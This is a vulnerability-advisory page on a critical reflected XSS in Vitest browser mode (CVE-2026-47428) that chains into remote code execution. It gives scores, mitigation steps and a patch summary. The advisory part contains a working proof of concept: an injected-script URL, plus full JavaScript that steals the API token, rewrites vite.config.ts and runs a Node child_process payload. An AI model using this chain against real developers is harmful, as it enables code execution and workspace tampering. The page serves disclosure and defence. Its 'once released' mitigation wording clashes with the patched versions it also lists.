What is the CVSS score of EUVD-2026-44401?

EUVD-2026-44401 has a CVSS 3.1 base score of 9.6 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.1%.

Which versions of Vitest are affected by EUVD-2026-44401?

Vitest browser mode (@vitest/browser) contains a critical vulnerability (CVE-2026-47428, CVSS 9.6) that allows attackers to execute arbitrary code on any developer's machine by luring them to a…. A patch is available.

How to fix or mitigate EUVD-2026-44401?

Threat level: Publicly available exploit code exists. Within 24 hours: Audit all development environments for @vitest/browser installations; issue mandatory security advisory to development teams warning against clicking untrusted URLs during Vitest development; restrict Vitest server binding to localhost only. Within 7 days: Deploy file integrity monitoring on vite.config.ts and related configuration files; implement endpoint detection to flag suspicious process spawning or unauthorized file modifications from Vitest processes; rotate credentials and secrets accessible to development teams. Within 30 days: Establish a migration plan to transition to patched @vitest/browser versions once released by vendor; implement network isolation for development machines handling sensitive codebases; conduct security awareness training on social engineering attack vectors.

Vitest EUVD-2026-44401

| CVE-2026-47428 CRITICAL

Cross-site Scripting (XSS) (CWE-79)

2026-06-01 https://github.com/vitest-dev/vitest

GHSA-2h32-95rg-cppp

XSS Node.js RCE

9.6

CVSS 3.1 · Vendor: https://github.com/vitest-dev/vitest

Severity by source

Vendor (https://github.com/vitest-dev/vitest) PRIMARY

9.6 CRITICAL

AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/vitest-dev/vitest) · only source for this CVE.

CVSS VectorVendor: https://github.com/vitest-dev/vitest

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jun 01, 2026 - 14:51 vuln.today

Analysis Generated

Jun 01, 2026 - 14:51 vuln.today

CVE Published

Jun 01, 2026 - 14:12 nvd

CRITICAL 9.6

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

3 npm packages depend on @vitest/browser (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.0.17.

DescriptionCVE.org

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

text

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

<details><summary>Example script and encoded URL</summary>

(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

txt

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)

</details>

---

AnalysisAI

Reflected cross-site scripting in Vitest browser mode (@vitest/browser) allows attackers to execute arbitrary JavaScript in the Vitest server origin by luring a developer to a crafted /__vitest_test__/ URL with a malicious otelCarrier query parameter. Because the same page embeds VITEST_API_TOKEN used to authenticate the Vitest WebSocket API, the XSS chains into full Node-side remote code execution by writing to vite.config.ts and triggering a config reload. Publicly available exploit code exists in the vendor's GHSA-2h32-95rg-cppp advisory, though no public exploit identified at time of analysis in CISA KEV.

Technical ContextAI

The vulnerability lives in @vitest/browser, the browser-mode runner for the Vitest JavaScript testing framework (used with Vite). In packages/browser/src/node/serverOrchestrator.ts and packages/browser/src/client/public/esm-client-injector.js, the server constructs an inline ES module script and concatenates the otelCarrier query parameter directly into JavaScript source rather than serializing it as data (e.g., JSON.stringify). This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) reflected XSS, but the impact is amplified because the same origin exposes VITEST_API_TOKEN in window scope and a privileged WebSocket endpoint /__vitest_browser_api__ that supports triggerCommand operations such as readFile and writeFile against the developer's workspace. Because Vite hot-reloads vite.config.ts in the Node host process, writing arbitrary code into that file yields code execution in Node.

RemediationAI

Vendor-released patches are @vitest/browser 4.1.6 for the stable 4.x line and 5.0.0-beta.3 for the 5.x beta line, so upgrade the @vitest/browser dependency (and align peer Vitest packages) to one of these fixed versions per the GHSA-2h32-95rg-cppp advisory at https://github.com/vitest-dev/vitest/security/advisories/GHSA-2h32-95rg-cppp. If immediate upgrade is not possible, do not run Vitest browser mode (especially watch mode) on shared or untrusted networks, keep the browser runner bound strictly to 127.0.0.1, avoid clicking untrusted links while the Vitest server is running, and consider closing the runner between sessions; these workarounds limit but do not eliminate exposure since any same-machine browser navigation to a crafted URL is still sufficient.